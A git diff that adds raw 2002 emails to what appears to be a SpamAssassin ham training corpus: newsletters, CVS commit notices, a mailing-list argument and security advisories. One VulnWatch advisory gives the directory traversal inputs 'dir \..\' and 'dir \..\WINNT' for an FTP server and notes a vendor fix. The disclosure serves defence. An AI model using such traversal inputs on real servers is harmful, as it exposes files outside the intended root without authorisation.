- An updated version of PHP which fixes this + vulnerability was released and can be downloaded at: + + http://www.php.net/downloads.php + + The vendor announcement is available at: + + http://www.php.net/release_4_2_2.php + + +Recommendation: + + If you are running PHP 4.2.x you should upgrade as soon as possible, + especially if your server runs on a non IA32 CPU. If you cannot upgrade + for whatever reason the only way to workaround this, is to disable all + kinds of POST requests on your server. + + +GPG-Key: + + http://security.e-matters.de/gpg_key.asc + + pub 1024D/75E7AAD6 2002-02-26 e-matters GmbH - Securityteam + Key fingerprint = 43DD 843C FAB9 832A E5AB CAEB 81F2 8110 75E7 AAD6 + + +Copyright 2002 Stefan Esser. All rights reserved. + + + + diff --git a/bayes/spamham/easy_ham_2/01293.1bfec3fa6ca7c5fbc5bd7ffdfe2c2780 b/bayes/spamham/easy_ham_2/01293.1bfec3fa6ca7c5fbc5bd7ffdfe2c2780 new file mode 100644 index 0000000..63b5e9f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01293.1bfec3fa6ca7c5fbc5bd7ffdfe2c2780 @@ -0,0 +1,178 @@ +From confnews@ora-info.ora.com Mon Jul 22 19:28:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4AAC2440C8 + for ; Mon, 22 Jul 2002 14:28:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:28:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQp403724 for + ; Mon, 22 Jul 2002 18:26:51 +0100 +Received: from ora-info.ora.com (ora-info.oreilly.com [209.204.146.32]) by + webnote.net (8.9.3/8.9.3) with ESMTP id FAA22316 for + ; Sat, 20 Jul 2002 05:46:51 +0100 +Received: (from confnews@localhost) by ora-info.ora.com (8.9.3/8.9.3) id + VAA17946 for jm-meerkat@jmason.org; Fri, 19 Jul 2002 21:51:26 -0700 (PDT) +Date: Fri, 19 Jul 2002 21:51:26 -0700 (PDT) +From: Conferences News +Message-Id: <200207200451.VAA17946@ora-info.ora.com> +To: yyyy-meerkat@spamassassin.taint.org +Subject: O'Reilly Conference Newsletter Update - 071902e + +O'Reilly Open Source Convention +-From the Frontiers of Research to the Heart of the Enterprise + +Sheraton San Diego Hotel and Marina +July 22-26, 2002 -- San Diego, CA +http://conferences.oreillynet.com/os2002/?CMP=EM4907 + +O'REILLY CONFERENCE NEWSLETTER UPDATE - 071902e + + -Conference News - One-Day Pass Offer + -Conference Highlights - Bruce Sterling on Open Source + -See & Do - Camping Out at Kid's World + -OSCON Tracks - It's not just about Perl, you know. + -Conference Details - Keynotes + +"In the tradition of O'Reilly books, their conferences +get past the fluff and hype of other conferences and +home in directly on the meat of the technology." +-- Jason Hall from Plug, the Provo area Linux Users Group + +*** + +CONFERENCE NEWS + +---------------------------------------------- +ONE DAY PASS ADDED TO CONFERENCE +If you can't swing the whole conference, but can't bear to miss +that one session or keynote presentation, pick up a day pass, +available for July 24, 25, or 26. + +The cost of the one day pass is $400. Please visit: +http://conferences.oreillynet.com/os2002/?CMP=EM4907 +---------------------------------------------- + +Check out this year's program for a look into the future of +open source software. Register Today! +http://conferences.oreillynet.com/os2002/?CMP=EM4907 + +*** + +OSCON2002 HIGHLIGHTS + +Bruce Sterling, author, journalist, editor, critic, presents +A Contrarian Position on Open Source, Friday, July 26, +11:30am - 12:15pm in Sea Breeze II. + +Sterling is the author of several science fiction novels including +Involution Ocean, The Artificial Kid, Schismatrix, Islands in the +Net, and Heavy Weather. He edited the collection Mirrorshades, the +definitive document of the cyberpunk movement, and co-authored +the novel The Difference Engine with William Gibson. He writes a +critical column for Science Fiction Eye and a popular-science +column for The Magazine of Fantasy and Science Fiction. + +His non-fiction book The Hacker Crackdown describes the law +enforcement and computer-crime activities that led to the start +of the Electronic Frontier Foundation in 1990. + +/==========================================================\ +Convention Newsletter Sponsored by InfoWorld + +InfoWorld's Next-Generation Conference +Web Services II: The Applications, September 18 - 20, 2002 + +You have heard the promise. Now hear the reality. InfoWorld's +editors invite you to take a hard look at how Web Services' +technology is affecting enterprise applications. Hear both +challenges and success stories from those IT executives who +are embracing Web services and from the leading companies +whose products are fueling this new era of enterprise computing. +Register before July 31 and save $300. Use priority code P062405. + +www.infoworld.com/nextgen +\==========================================================/ + +*** + +SEE & DO +http://conferences.oreillynet.com/pub/w/15/see_do.html + +- Camping out at "Kid's World" +Back again by popular demand, Kid's World is available Monday +through Thursday providing exceptional daycare for your young +ones. Register now to ensure that your children don't miss out +on the fun. +http://conferences.oreillynet.com/pub/w/15/kids_world.html + +*** + +OSCON FEATURED TRACKS +http://conferences.oreillynet.com/pub/w/15/tutorials.html +http://conferences.oreillynet.com/pub/w/15/sessions.html + -Python, with an emphasis on Zope + -Apache Web Server, specifically 2.0, modules, configuration, + and performance tuning + -Java, featuring Jakarta, Jserv, Ant, and Jboss + -Operating Systems: Linux, FreeBSD, OpenBSD, OS X + -Databases, focusing on MySQL, PostgreSQL, Redhat B, SAPDB, + Berkeley DB + -Emerging topics, gaming, shared source, government projects + +*** + +CONFERENCE DETAILS + +-Keynote Speakers + +Freeing Culture +Lawrence Lessig, Stanford Law School +http://conferences.oreillynet.com/cs/os2002/view/e_sess/3027 + +The Free Software Movement: Where All This Started +Richard M. Stallman (representing the Free Software Movement), +Free Software Foundation +http://conferences.oreillynet.com/cs/os2002/view/e_sess/3047 + +Hacking the Genome: Open Source in Bioinformatics +Ewan Birney, European Bioinformatics Institute +http://conferences.oreillynet.com/cs/os2002/view/e_sess/2389 + +Evolution in ActionJim Kent, +UC Santa Cruz Genome Bioinformatics Group +http://conferences.oreillynet.com/cs/os2002/view/e_sess/2586 + +The Changing Relationship Between Business and Developers +Paul Pangaro, Ph.D., Sun Microsystems, Inc., Elaine B. +Coleman, Ph.D., Sun +https://conferences.oreillynet.com/cs/os2002/view/e_sess/3178 + +Challenges of Open Source in Visual Effects +Milton Ngan, Weta Digital Ltd +https://conferences.oreillynet.com/cs/os2002/view/e_sess/3118 + +For more details on our keynote, tutorial, and session +speakers, please visit: +http://conferences.oreillynet.com/os2002/?CMP=EM4907 + +*** + +PLATINUM SPONSORS +Apple Computer +Active State +Sun Microsystems + +For information regarding exhibition or sponsorship +opportunities the convention, contact Andrew Calvo at +707-827-7176, or andrewc@oreilly.com. + +--------------------------------------------------------------------- +If you want to cancel an O'Reilly newsletter subscription, go +to http://elists.oreilly.com/ and de-select any newsletters you +no longer wish to receive. For assistance, email help@oreillynet.com +--------------------------------------------------------------------- + + diff --git a/bayes/spamham/easy_ham_2/01294.7f208bf4ae152863fd40f25e2e121d49 b/bayes/spamham/easy_ham_2/01294.7f208bf4ae152863fd40f25e2e121d49 new file mode 100644 index 0000000..1143987 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01294.7f208bf4ae152863fd40f25e2e121d49 @@ -0,0 +1,71 @@ +From vulnwatch-return-401-jm=jmason.org@vulnwatch.org Mon Jul 22 22:51:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 58591440C8 + for ; Mon, 22 Jul 2002 17:51:29 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 22:51:29 +0100 (IST) +Received: from vikki.vulnwatch.org ([199.233.98.101]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6MLmJ401718 for + ; Mon, 22 Jul 2002 22:48:19 +0100 +Received: (qmail 12277 invoked by alias); 22 Jul 2002 21:48:37 -0000 +Mailing-List: contact vulnwatch-help@vulnwatch.org; run by ezmlm +Precedence: bulk +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list vulnwatch@vulnwatch.org +Delivered-To: moderator for vulnwatch@vulnwatch.org +Received: (qmail 14701 invoked from network); 22 Jul 2002 21:41:59 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: "Securiteinfo.com" +Organization: Securiteinfo.com +To: bugtraq@securityfocus.com +Date: Mon, 22 Jul 2002 23:09:11 +0200 +X-Mailer: KMail [version 1.2] +MIME-Version: 1.0 +Message-Id: <02072223091100.01082@scrap> +Subject: [VulnWatch] Pablo Sofware Solutions FTP server Directory Traversal Vulnerability +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6MLmJ401718 + +Pablo Sofware Solutions FTP server Directory Traversal Vulnerability + + +.oO Overview Oo. +Pablo Software Solutions FTP server version 1.0 build 9 shows files and +directories that reside outside the normal FTP root directory. +Discovered on 2002, July, 20th +Vendor: Pablo Software Solutions + +Pablo's FTP Server is a multi threaded FTP server for Windows 98/NT/XP. +It comes with an easy to use interface and can be accessed from the system +tray. +The server handles all basic FTP commands and offers easy user account +management and support for virtual directories. +This FTP server can shows file and directory content that reside outside the +normal FTP root directory. + + +.oO Details Oo. +The vulnerability can be done using the MS-DOS ftp client. When you are +logged on the server, you can send a dir \..\, or a dir \..\WINNT, supposed +your root directory is c:\ftp_server + + +.oO Solution Oo. +The vendor has been informed and has solved the problem. +Download Pablo's FTP Server Build 10 at : +http://www.pablovandermeer.nl/ftp_server.html + + +.oO Discovered by Oo. +Arnaud Jacques +webmaster@securiteinfo.com +http://www.securiteinfo.com + + diff --git a/bayes/spamham/easy_ham_2/01295.1b31839d0a6ab3c696ab369b5b40c70f b/bayes/spamham/easy_ham_2/01295.1b31839d0a6ab3c696ab369b5b40c70f new file mode 100644 index 0000000..9bdc6fc --- /dev/null +++ b/bayes/spamham/easy_ham_2/01295.1b31839d0a6ab3c696ab369b5b40c70f @@ -0,0 +1,51 @@ +From pudge@perl.org Tue Jul 23 03:04:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 877C7440C8 + for ; Mon, 22 Jul 2002 22:04:08 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 03:04:08 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6N21L419287 for + ; Tue, 23 Jul 2002 03:01:22 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17Wosd-0006Ek-00 for ; + Mon, 22 Jul 2002 21:54:27 -0400 +Date: Tue, 23 Jul 2002 02:00:23 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-07-23 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +This week on perl5-porters (15-21 July 2002) + posted by rafael on Monday July 22, @03:21 (summaries) + http://use.perl.org/article.pl?sid=02/07/22/0725254 + +LAN Party at OSCON + posted by ziggy on Monday July 22, @13:06 (events) + http://use.perl.org/article.pl?sid=02/07/22/179214 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01296.16fcf1ce6a407c71b1ea5ef04ded98f9 b/bayes/spamham/easy_ham_2/01296.16fcf1ce6a407c71b1ea5ef04ded98f9 new file mode 100644 index 0000000..fa25e08 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01296.16fcf1ce6a407c71b1ea5ef04ded98f9 @@ -0,0 +1,93 @@ +From pudge@perl.org Tue Jul 23 03:04:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E1CD5440C9 + for ; Mon, 22 Jul 2002 22:04:08 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 03:04:08 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6N21P419292 for + ; Tue, 23 Jul 2002 03:01:25 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17Wosk-0006Jx-00 for ; + Mon, 22 Jul 2002 21:54:34 -0400 +Date: Tue, 23 Jul 2002 02:00:30 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-07-23 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * This week on perl5-porters (15-21 July 2002) + * LAN Party at OSCON + ++--------------------------------------------------------------------+ +| This week on perl5-porters (15-21 July 2002) | +| posted by rafael on Monday July 22, @03:21 (summaries) | +| http://use.perl.org/article.pl?sid=02/07/22/0725254 | ++--------------------------------------------------------------------+ + +OK, you know already the big news of the week, don't you ? This report +will tell you what happened behind the scenes of the 5.8.0 final +releasing. + +This story continues at: + http://use.perl.org/article.pl?sid=02/07/22/0725254 + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/22/0725254 + + ++--------------------------------------------------------------------+ +| LAN Party at OSCON | +| posted by ziggy on Monday July 22, @13:06 (events) | +| http://use.perl.org/article.pl?sid=02/07/22/179214 | ++--------------------------------------------------------------------+ + +[0]cwest writes "At [1]O'Reilly [2]Open Source Convention, [3]Aaronsen +Group Ltd, [4]DynDNS, and [5]Stonehenge Consulting are hosting a great +party. 15 gaming class computers will be networked together as the base +of a killer [6]Quake 3 Arena fragging. The bar will be open for your +drinking pleasure. The party is open to all OSCON attendees and +participants. Come rub elbows with the best programmers on earth and +simultaneously destroy them in Quake." + +The [7]LAN Party will be held on Thursday, 8pm - ??, at Quinn's bar (main +lobby, Sheraton East Tower at the conference). + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/22/179214 + +Links: + 0. http://www.dyndns.org/lanparty + 1. http://oreilly.com/ + 2. http://conferences.oreilly.com/os2002 + 3. http://www.aaronsen.com/ + 4. http://www.dyndns.org/ + 5. http://www.stonehenge.com/ + 6. http://www.quake3arena.com/games/quake/quake3-arena/ + 7. http://www.dyndns.org/lanparty/ + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01297.146414518ef3b2597af35179575faa9a b/bayes/spamham/easy_ham_2/01297.146414518ef3b2597af35179575faa9a new file mode 100644 index 0000000..72d4d85 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01297.146414518ef3b2597af35179575faa9a @@ -0,0 +1,138 @@ +From spamassassin-commits-admin@lists.sourceforge.net Tue Jul 23 16:38:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 66AF6440CC + for ; Tue, 23 Jul 2002 11:38:45 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 16:38:45 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NFZn406432 for ; Tue, 23 Jul 2002 16:35:49 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X1gj-0006Aj-00; Tue, + 23 Jul 2002 08:35:01 -0700 +Received: from usw-sf-sshgate.sourceforge.net ([216.136.171.253] + helo=usw-sf-netmisc.sourceforge.net) by usw-sf-list1.sourceforge.net with + esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17X1fn-0006zL-00 for ; + Tue, 23 Jul 2002 08:34:03 -0700 +Received: from usw-pr-cvs1-b.sourceforge.net ([10.5.1.7] + helo=usw-pr-cvs1.sourceforge.net) by usw-sf-netmisc.sourceforge.net with + esmtp (Exim 3.22 #1 (Debian)) id 17X1fm-0007q6-00 for + ; Tue, 23 Jul 2002 08:34:02 + -0700 +Received: from yyyyason by usw-pr-cvs1.sourceforge.net with local (Exim 3.22 + #1 (Debian)) id 17X1fm-0005VO-00 for + ; Tue, 23 Jul 2002 08:34:02 + -0700 +To: spamassassin-commits@example.sourceforge.net +Message-Id: +From: Justin Mason +Subject: [SACVS] CVS: spamassassin/spamd pld-rc-script.sh,NONE,1.1 +Sender: spamassassin-commits-admin@example.sourceforge.net +Errors-To: spamassassin-commits-admin@example.sourceforge.net +X-Beenthere: spamassassin-commits@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 08:34:02 -0700 +Date: Tue, 23 Jul 2002 08:34:02 -0700 + +Update of /cvsroot/spamassassin/spamassassin/spamd +In directory usw-pr-cvs1:/tmp/cvs-serv21113/spamd + +Added Files: + pld-rc-script.sh +Log Message: +patch from Radoslaw Zielinski : rpm support for PLD Linux Distribution. Makefile.PL created Makefile, which caused problems with DESTDIR; fixed. also rc-script for PLD + +--- NEW FILE: pld-rc-script.sh --- +#!/bin/sh +# +# spamassassin This script starts and stops the spamd daemon +# +# chkconfig: 2345 80 30 +# +# description: spamd is a daemon process which uses SpamAssassin to check +# email messages for SPAM. It is normally called by spamc +# from a MDA. +# processname: spamassassin +# pidfile: /var/run/spamassassin.pid + +# Source function library. +. /etc/rc.d/init.d/functions + +# Source networking configuration. +. /etc/sysconfig/network + +# Source configureation. +if [ -f /etc/sysconfig/spamassassin ] ; then + . /etc/sysconfig/spamassassin +fi + +# Check that networking is up. +if is_no "${NETWORKING}"; then + msg_Network_Down SpamAssassin + exit 1 +fi + +# See how we were called. +case "$1" in + start) + # Start daemon. + if [ ! -f /var/lock/subsys/spamd ]; then + msg_starting SpamAssassin + daemon spamd -d -c -a + RETVAL=$? + [ $RETVAL -eq 0 ] && touch /var/lock/subsys/spamd + else + msg_Not_Running SpamAssassin + fi + ;; + stop) + # Stop daemons. + if [ -f /var/lock/subsys/spamd ]; then + echo -n "Shutting down spamd: " + killproc spamd + RETVAL=$? + rm -f /var/lock/subsys/spamd + else + msg_Already_Running SpamAssassin + fi + ;; + restart) + $0 stop + $0 start + ;; + status) + status spamd + ;; + *) + msg_Usage "$0 {start|stop|restart|status}" + exit 1 +esac + +exit $RETVAL + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-commits mailing list +Spamassassin-commits@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-commits + + diff --git a/bayes/spamham/easy_ham_2/01298.c00e52eb757de239c8863a7a01ea0544 b/bayes/spamham/easy_ham_2/01298.c00e52eb757de239c8863a7a01ea0544 new file mode 100644 index 0000000..3bda63a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01298.c00e52eb757de239c8863a7a01ea0544 @@ -0,0 +1,127 @@ +From spamassassin-commits-admin@lists.sourceforge.net Tue Jul 23 16:38:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 07F96440CD + for ; Tue, 23 Jul 2002 11:38:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 16:38:49 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NFZn406433 for ; Tue, 23 Jul 2002 16:35:49 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X1gj-0006Au-00; Tue, + 23 Jul 2002 08:35:01 -0700 +Received: from usw-sf-sshgate.sourceforge.net ([216.136.171.253] + helo=usw-sf-netmisc.sourceforge.net) by usw-sf-list1.sourceforge.net with + esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17X1fn-0006zK-00 for ; + Tue, 23 Jul 2002 08:34:03 -0700 +Received: from usw-pr-cvs1-b.sourceforge.net ([10.5.1.7] + helo=usw-pr-cvs1.sourceforge.net) by usw-sf-netmisc.sourceforge.net with + esmtp (Exim 3.22 #1 (Debian)) id 17X1fm-0007q2-00 for + ; Tue, 23 Jul 2002 08:34:02 + -0700 +Received: from yyyyason by usw-pr-cvs1.sourceforge.net with local (Exim 3.22 + #1 (Debian)) id 17X1fm-0005VK-00 for + ; Tue, 23 Jul 2002 08:34:02 + -0700 +To: spamassassin-commits@example.sourceforge.net +Message-Id: +From: Justin Mason +Subject: [SACVS] CVS: spamassassin MANIFEST,1.80,1.81 Makefile.PL,1.31,1.32 +Sender: spamassassin-commits-admin@example.sourceforge.net +Errors-To: spamassassin-commits-admin@example.sourceforge.net +X-Beenthere: spamassassin-commits@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 08:34:02 -0700 +Date: Tue, 23 Jul 2002 08:34:02 -0700 + +Update of /cvsroot/spamassassin/spamassassin +In directory usw-pr-cvs1:/tmp/cvs-serv21113 + +Modified Files: + MANIFEST Makefile.PL +Log Message: +patch from Radoslaw Zielinski : rpm support for PLD Linux Distribution. Makefile.PL created Makefile, which caused problems with DESTDIR; fixed. also rc-script for PLD + +Index: MANIFEST +=================================================================== +RCS file: /cvsroot/spamassassin/spamassassin/MANIFEST,v +retrieving revision 1.80 +retrieving revision 1.81 +diff -u -d -r1.80 -r1.81 +--- MANIFEST 23 Jul 2002 13:43:40 -0000 1.80 ++++ MANIFEST 23 Jul 2002 15:34:00 -0000 1.81 +@@ -123,3 +123,4 @@ + tools/translation_prep.pl + masses/lint-rules-from-freqs + masses/freqdiff ++spamd/pld-rc-script.sh + +Index: Makefile.PL +=================================================================== +RCS file: /cvsroot/spamassassin/spamassassin/Makefile.PL,v +retrieving revision 1.31 +retrieving revision 1.32 +diff -u -d -r1.31 -r1.32 +--- Makefile.PL 4 Jul 2002 14:26:15 -0000 1.31 ++++ Makefile.PL 23 Jul 2002 15:34:00 -0000 1.32 +@@ -1,6 +1,6 @@ + require 5.005; + +-my $DEF_RULES_DIR = '$(PREFIX)/share/spamassassin'; ++my $DEF_RULES_DIR = '$(DESTDIR)$(PREFIX)/share/spamassassin'; + + my $LOCAL_RULES_DIR = '/etc/mail/spamassassin'; + +@@ -83,7 +83,7 @@ + # do this with MakeMaker without it trying to build the perl + # modules as .so's :( + +-qq{ ++qq# + + RULES = $rulesfiles + +@@ -98,7 +98,7 @@ + DEF_RULES_DIR = $DEF_RULES_DIR + LOCAL_RULES_DIR = $LOCAL_RULES_DIR + +-}. q{ ++#. q# + + pm_to_blib: spamassassin doc/.made + +@@ -159,5 +159,6 @@ + touch doc/.made + -rm -f pod2htm* + +-}; ++#; ++ + } + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-commits mailing list +Spamassassin-commits@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-commits + + diff --git a/bayes/spamham/easy_ham_2/01299.21bf6f0946fe21adc3e99db3e541ee57 b/bayes/spamham/easy_ham_2/01299.21bf6f0946fe21adc3e99db3e541ee57 new file mode 100644 index 0000000..1eab096 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01299.21bf6f0946fe21adc3e99db3e541ee57 @@ -0,0 +1,90 @@ +From spamassassin-devel-admin@lists.sourceforge.net Tue Jul 23 17:40:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8AF72440CC + for ; Tue, 23 Jul 2002 12:40:52 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 17:40:52 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NGXL411027 for ; Tue, 23 Jul 2002 17:33:21 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X2Yx-0008Gz-00; Tue, + 23 Jul 2002 09:31:03 -0700 +Received: from mail12.speakeasy.net ([216.254.0.212] + helo=mail.speakeasy.net) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17X2YI-0002hr-00 for ; + Tue, 23 Jul 2002 09:30:22 -0700 +Received: (qmail 12981 invoked from network); 23 Jul 2002 16:30:20 -0000 +Received: from unknown (HELO RAGING) ([66.92.72.213]) (envelope-sender + ) by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP + for ; 23 Jul 2002 16:30:20 -0000 +Message-Id: <01b101c23266$36256ab0$b554a8c0@RAGING> +From: "rODbegbie" +To: "Marc Perkel" , + +References: <20020723101858.406DD440CC@phobos.labs.netnoteinc.com> + <3D3D820A.5020407@perkel.com> +Subject: Re: [SAdev] Scoring Yahoo Ads +Organization: Arsecandle Industries, Inc. +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2800.1050 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2800.1050 +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 12:30:08 -0400 +Date: Tue, 23 Jul 2002 12:30:08 -0400 + +Marc Perkel wrote: +> But - MY POINT IS - catching the phrase "risk-free" in the ad portion +> of a non-spam is not a false positive because those lines are +> technically spam + +No. They. Are. Not. + +Those lines are technically *advertising*. + +Spam is unsolicited bulk *EMAIL*. + +If you do not understand this, then lease kindly STFU. + +Thanks, + +rOD. + +-- +He gave his life for tourism. + +>> Doing the blogging thang again at http://www.groovymother.com/ << + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + + diff --git a/bayes/spamham/easy_ham_2/01300.bcd95d40246e03dcfcb088ab69a9c953 b/bayes/spamham/easy_ham_2/01300.bcd95d40246e03dcfcb088ab69a9c953 new file mode 100644 index 0000000..969dd3d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01300.bcd95d40246e03dcfcb088ab69a9c953 @@ -0,0 +1,93 @@ +From jm@netnoteinc.com Tue Jul 23 17:34:15 2002 +Return-Path: +Delivered-To: yyyy@phobos.labs.netnoteinc.com +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) + id D66B5440CC; Tue, 23 Jul 2002 12:34:15 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B076D33E50 + for ; Tue, 23 Jul 2002 17:34:15 +0100 (IST) +To: yyyy@netnoteinc.com +Subject: send failed on enclosed draft +Date: Tue, 23 Jul 2002 17:34:10 +0100 +From: Justin Mason +Message-Id: <20020723163415.D66B5440CC@phobos.labs.netnoteinc.com> + +post: illegal header line -- Date: +post: re-format message and try again + +Message not delivered to anyone. + +------- Unsent Draft + +To: mice@crackmice.com +Subject: van Hoogstraten (fwd) +Date: Tue, 23 Jul 2002 10:53:59 +0100 +From: yyyy@spamassassin.taint.org + +Anyone see the program about this guy last night? He's a cartoon +character -- unbelievably inhuman. + +- --j. + +- ------- Forwarded Message + +Date: Mon, 22 Jul 2002 14:14:22 +0100 +From: "Tim Chapman" +To: zzzzteana@yahoogroups.com +Subject: Re: 